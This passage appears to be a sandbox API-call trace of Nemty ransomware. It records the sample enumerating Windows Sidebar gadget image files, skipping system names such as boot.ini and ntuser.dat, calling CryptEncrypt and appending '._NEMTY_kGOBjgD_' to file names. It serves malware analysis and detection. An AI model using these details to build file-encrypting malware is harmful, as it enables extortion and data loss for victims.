lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0151.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0151.833] CloseHandle (hObject=0xffffffff) returned 0 [0151.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340478 [0151.833] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0151.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0151.833] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0151.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0151.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0151.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0151.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0151.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0151.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0151.833] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)alertIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)alerticon.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)alertIcon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)alerticon.png._nemty_kgobjgd_")) returned 0 [0151.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0151.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0151.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0151.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0151.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0151.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0151.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0151.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0151.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0151.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0151.834] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b54ebb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b54ebb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3719f8c7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="(120DPI)grayStateIcon.png", cAlternateFileName="")) returned 1 [0151.834] lstrcmpiW (lpString1="(120DPI)grayStateIcon.png", lpString2=".") returned -1 [0151.834] lstrcmpiW (lpString1="(120DPI)grayStateIcon.png", lpString2="..") returned -1 [0151.834] lstrcmpiW (lpString1="(120DPI)grayStateIcon.png", lpString2="...") returned -1 [0151.834] lstrcmpiW (lpString1="(120DPI)grayStateIcon.png", lpString2="windows") returned -1 [0151.834] lstrcmpiW (lpString1="(120DPI)grayStateIcon.png", lpString2="$RECYCLE.BIN") returned 1 [0151.834] lstrcmpiW (lpString1="(120DPI)grayStateIcon.png", lpString2="rsa") returned -1 [0151.834] lstrcmpiW (lpString1="(120DPI)grayStateIcon.png", lpString2="NTDETECT.COM") returned -1 [0151.834] lstrcmpiW (lpString1="(120DPI)grayStateIcon.png", lpString2="ntldr") returned -1 [0151.834] lstrcmpiW (lpString1="(120DPI)grayStateIcon.png", lpString2="MSDOS.SYS") returned -1 [0151.834] lstrcmpiW (lpString1="(120DPI)grayStateIcon.png", lpString2="IO.SYS") returned -1 [0151.834] lstrcmpiW (lpString1="(120DPI)grayStateIcon.png", lpString2="boot.ini") returned -1 [0151.834] lstrcmpiW (lpString1="(120DPI)grayStateIcon.png", lpString2="boot.ini") returned -1 [0151.834] lstrcmpiW (lpString1="(120DPI)grayStateIcon.png", lpString2="AUTOEXEC.BAT") returned -1 [0151.834] lstrcmpiW (lpString1="(120DPI)grayStateIcon.png", lpString2="ntuser.dat") returned -1 [0151.834] lstrcmpiW (lpString1="(120DPI)grayStateIcon.png", lpString2="desktop.ini") returned -1 [0151.834] lstrcmpiW (lpString1="(120DPI)grayStateIcon.png", lpString2="CONFIG.SYS") returned -1 [0151.834] lstrcmpiW (lpString1="(120DPI)grayStateIcon.png", lpString2="RECYCLER") returned -1 [0151.834] lstrcmpiW (lpString1="(120DPI)grayStateIcon.png", lpString2="BOOTSECT.BAK") returned -1 [0151.834] lstrcmpiW (lpString1="(120DPI)grayStateIcon.png", lpString2="bootmgr") returned -1 [0151.834] lstrcmpiW (lpString1="(120DPI)grayStateIcon.png", lpString2="programdata") returned -1 [0151.834] lstrcmpiW (lpString1="(120DPI)grayStateIcon.png", lpString2="appdata") returned -1 [0151.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0151.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)grayStateIcon.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0151.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0151.835] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)grayStateIcon.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(120DPI)grayStateIcon.png", lpUsedDefaultChar=0x0) returned 25 [0151.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0151.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0151.835] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)grayStateIcon.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0151.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0151.835] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)grayStateIcon.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(120DPI)grayStateIcon.png", lpUsedDefaultChar=0x0) returned 25 [0151.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0151.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0151.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0151.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0151.835] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)grayStateIcon.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0151.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0151.835] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)grayStateIcon.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(120DPI)grayStateIcon.png", lpUsedDefaultChar=0x0) returned 25 [0151.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0151.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0151.835] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)grayStateIcon.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0151.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0151.835] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)grayStateIcon.png", cchWideChar=25, lpMultiByteStr=0x4f9ed58, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(120DPI)grayStateIcon.png", lpUsedDefaultChar=0x0) returned 25 [0151.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0151.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340240 [0151.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340178 | out: hHeap=0x4f90000) returned 1 [0151.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400d0 [0151.835] Sleep (dwMilliseconds=0x5) [0151.850] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xe27ccf0, dwHighDateTime=0x1d561e8)) [0151.850] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xe27ccf0, dwHighDateTime=0x1d561e8)) [0151.850] GetLastError () returned 0x5 [0151.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0151.850] GetLastError () returned 0x5 [0151.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0151.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0151.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0151.850] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0151.850] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0151.850] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0151.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340308 [0151.850] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340308, pcchString=0x653e5dc | out: pszString="IWafRj8nkYWXc9lDrCesIXfDs/rasg/npsn8xk4bn1XAv1EmcSu+7185P22PyLuc\r\nhRYteSgIT6ZoSL438/25p4u+BM5zjSDETX1o93m3cXKj0Q9gvyk5fJIPbAItmf3J\r\nmix+jD8v6KpHiAw5g1huJW0yqE2m6yV8j8UOsHJFl4ah8Qfq7c2G2l6l4qG9PH94\r\nQiCscpYlKkI1pd3siWDWfS7qQSsCbGqeMVQMyZ7jEm81kzxxEjyuca8WLEBZuOTJ\r\nhoAGFuJN+RX/Naz7/jjRPqHWRjSjVNZ1WCSCmY6R+XbWBwBrgHukKtYj1x+7eofw\r\nRfAbNPHS2yKVyqj6Cea+Sw==\r\n", pcchString=0x653e5dc) returned 1 [0151.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0151.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0151.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0151.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0151.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340308 [0151.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0151.851] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)grayStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)graystateicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.851] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0151.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0151.851] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.851] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0151.860] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.860] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0151.860] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.860] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0151.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.869] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0151.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.869] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0151.880] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.880] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0151.880] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.880] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0151.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.889] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0151.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.889] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0151.898] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.898] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0151.898] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.898] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0151.908] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.908] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0151.908] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.908] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0151.917] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.917] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0151.917] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.917] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0151.926] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.926] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0151.926] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.926] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0151.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.935] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0151.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.935] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0151.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.951] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0151.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.951] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0151.957] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.957] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0151.957] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.957] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0151.963] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.963] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0151.963] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.963] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340308, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0151.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0151.963] CloseHandle (hObject=0xffffffff) returned 0 [0151.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340478 [0151.963] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0151.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0151.963] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0151.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0151.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0151.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0151.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x63440c0 [0151.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0151.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0151.964] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)grayStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)graystateicon.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)grayStateIcon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)graystateicon.png._nemty_kgobjgd_")) returned 0 [0151.964] HeapFree (in: hHeap=0x4f90000, 